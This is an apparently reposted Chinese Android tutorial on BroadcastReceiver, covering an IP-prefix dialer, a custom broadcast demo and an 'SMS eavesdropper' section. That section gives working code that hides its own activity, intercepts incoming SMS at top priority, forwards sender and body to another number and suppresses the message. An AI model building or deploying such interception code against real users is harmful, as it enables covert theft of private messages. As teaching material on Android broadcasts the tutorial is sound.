Android中 广播BroadcastReceiver
一、IP拨号器
activity_main.xml文件:
只有一个输入ip的文本框和一个保存按钮,
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical" tools:context=".MainActivity" > <EditText android:id="@+id/et_ipnumber" android:layout_width="fill_parent" android:layout_height="wrap_content" android:hint="请输入要设置的ip号码" /> <Button android:onClick="save" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="保存" /> </LinearLayout>
MainActivity.java
点击保存按钮后执行的程序,将输入的ip号以SharedPreferences的方式保存在本地,
package com.itheima.ipdail; import android.os.Bundle; import android.app.Activity; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.view.Menu; import android.view.View; import android.widget.EditText; import android.widget.Toast; public class MainActivity extends Activity { private EditText et_ipnumber; private SharedPreferences sp; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); sp = getSharedPreferences("config", MODE_PRIVATE); et_ipnumber = (EditText) findViewById(R.id.et_ipnumber); } /** * 保存按钮对应的点击事件 * @param view */ public void save(View view){ String ipnumber = et_ipnumber.getText().toString().trim(); Editor editor = sp.edit(); editor.putString("ipnumber", ipnumber); editor.commit(); Toast.makeText(this, "保存ip号码完毕", 0).show(); } }
OutCallReceiver.java
广播接受者,当有外拨电话到来的时候,从本地SharedPreferences中取出IP号,然后和外拨号码拼接成新字符串显示早拨号界面上,
package com.itheima.ipdail; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.util.Log; /** * 广播接收者,当有外拨电话到来的时候 会处理这个消息 * */ public class OutCallReceiver extends BroadcastReceiver { private static final String TAG = "OutCallReceiver"; private SharedPreferences sp; /** * 当广播接受者接受到广播事件的时候调用的方法 */ @Override public void onReceive(Context context, Intent intent) { String number = getResultData(); Log.i(TAG,"有新的电话打出去了。电话号码为:"+number); sp = context.getSharedPreferences("config", Context.MODE_PRIVATE); String ipnumber = sp.getString("ipnumber", ""); setResultData(ipnumber+number); } }
别忘了在AndroidManifest.xml文件中添加,
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<!-- 意图过滤器 --> <receiver android:name="com.itheima.ipdail.OutCallReceiver"> <intent-filter > <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter> </receiver>
结果:
二、短信窃听器
MainActivity.java
package com.itheima.smslistener; import android.os.Bundle; import android.app.Activity; import android.view.Menu; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); finish(); } }
SmsReceiver.java
5556->5554发送短信,利用广播接受者取出短信内容
package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { private static final String TAG = "SmsReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"有新的短信到来了。"); Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String sender = smsMessage.getOriginatingAddress(); String body = smsMessage.getMessageBody(); Log.i(TAG,"短信的发件人:"+sender); Log.i(TAG,"短信的内容:"+body); } } }
当SmsReceiver.java改为如下:
模拟5558->5554发送短信,当5554接收到短信后,自动发送给5556,实现了短信窃听功能,
package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { private static final String TAG = "SmsReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"有新的短信到来了。"); Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String sender = smsMessage.getOriginatingAddress(); String body = smsMessage.getMessageBody(); Log.i(TAG,"短信的发件人:"+sender); Log.i(TAG,"短信的内容:"+body); SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null); } } }
当SmsReceiver.java改为如下:
5558->5554发送短信,
package com.itheima.smslistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SmsReceiver extends BroadcastReceiver { private static final String TAG = "SmsReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"有新的短信到来了。"); Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String sender = smsMessage.getOriginatingAddress(); String body = smsMessage.getMessageBody(); Log.i(TAG,"短信的发件人:"+sender); Log.i(TAG,"短信的内容:"+body); SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null); //终止短信的广播事件。 abortBroadcast(); } } }
<span style="font-size:14px;">在AndroidManifest.xml文件中添加,</span> <receiver android:name="com.itheima.smslistener.SmsReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"></action> </intent-filter> </receiver>
<uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.SEND_SMS"/>
因为广播接受者优先级1000,最高,而且广播接受着终止了短信的广播后续事件,因此5554并为收到短信,
但是5556能接收到短信,因为在终止广播事件之前向5556转发了,
三、自定义广播接收者
1.自定义发送广播acticity_main.xml文件为,
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity" > <Button android:onClick="send" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_centerHorizontal="true" android:layout_centerVertical="true" android:text="发送自定义广播" /> </RelativeLayout>
MainActivity.java文件为,
package com.itheima.sendbroadcast; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } public void send(View view){ Intent intent = new Intent("com.itheima.sendbroadcast.demo"); sendBroadcast(intent); } }
2.自定义广播接收者
acticity_main.xml文件为空,
MainActivity.java文件为空,
MyBroadcastReceiver.java文件为,
package com.itheima.myreceiver; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.widget.Toast; public class MyBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Toast.makeText(context, "我是自定义的广播接受者,我接受到了自定义消息", 0).show(); } }
在AndroidMainfest.xml文件中添加如下,
<!-- 定义一个广播接受者接受的是自定义的消息 --> <receiver android:name="com.itheima.myreceiver.MyBroadcastReceiver"> <intent-filter > <action android:name="com.itheima.sendbroadcast.demo"/> </intent-filter> </receiver>
郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。